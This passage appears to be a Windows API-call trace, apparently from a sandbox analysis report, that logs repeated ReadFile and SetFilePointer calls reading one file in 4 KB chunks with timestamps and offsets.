lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x282bd08*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.112] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x25000 [0115.113] ReadFile (in: hFile=0x3f8, lpBuffer=0x282bd08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x282bd08*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.113] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x26000 [0115.113] ReadFile (in: hFile=0x3f8, lpBuffer=0x282bd08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x282bd08*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.113] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x27000 [0115.113] ReadFile (in: hFile=0x3f8, lpBuffer=0x282bd08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x282bd08*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.114] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x28000 [0115.114] ReadFile (in: hFile=0x3f8, lpBuffer=0x282bd08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x282bd08*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.114] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x29000 [0115.114] ReadFile (in: hFile=0x3f8, lpBuffer=0x282bd08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x282bd08*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.115] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x2a000 [0115.115] ReadFile (in: hFile=0x3f8, lpBuffer=0x282bd08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x282bd08*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.116] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x2b000 [0115.116] ReadFile (in: hFile=0x3f8, lpBuffer=0x282bd08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x282bd08*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.196] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x2c000 [0115.196] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.196] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x2d000 [0115.196] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.197] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x2e000 [0115.197] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.197] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x2f000 [0115.197] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.197] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x30000 [0115.197] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.198] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x31000 [0115.198] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.198] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x32000 [0115.198] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.198] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x33000 [0115.198] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.199] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x34000 [0115.199] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.199] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x35000 [0115.199] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.199] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x36000 [0115.199] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.200] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x37000 [0115.200] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.200] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x38000 [0115.200] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.201] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x39000 [0115.201] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.201] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x3a000 [0115.201] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.201] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x3b000 [0115.201] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.201] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x3c000 [0115.202] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.202] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x3d000 [0115.202] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.202] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x3e000 [0115.202] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.202] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x3f000 [0115.203] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.203] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x40000 [0115.203] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.203] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x41000 [0115.203] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.203] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x42000 [0115.204] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.204] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x43000 [0115.204] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.204] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x44000 [0115.204] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.204] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x45000 [0115.205] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.205] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x46000 [0115.205] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.205] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x47000 [0115.205] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.205] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x48000 [0115.206] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.206] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x49000 [0115.206] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.206] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x4a000 [0115.206] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.206] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x4b000 [0115.207] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.207] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x4c000 [0115.207] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.207] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x4d000 [0115.207] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.207] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x4e000 [0115.207] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.208] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x4f000 [0115.208] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.208] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x50000 [0115.208] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.209] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x51000 [0115.209] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.209] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x52000 [0115.209] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.209] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x53000 [0115.209] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.209] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x54000 [0115.210] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.210] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x55000 [0115.210] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.289] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x56000 [0115.289] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.290] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x57000 [0115.290] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.290] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x58000 [0115.290] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.290] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x59000 [0115.290] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.291] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x5a000 [0115.291] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.291] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x5b000 [0115.291] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.291] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x5c000 [0115.291] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.292] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59fd840*=0) returned 0x5d000 [0115.292] ReadFile (in: hFile=0x3f8, lpBuffer=0x26050bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fd86c, lpOverlapped=0x0 | out: lpBuffer=0x26050bc*, lpNumberOfBytesRead=0x59fd86c*=0x1000, lpOverlapped=0x0) returned 1 [0115.292] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59fd840*=0, 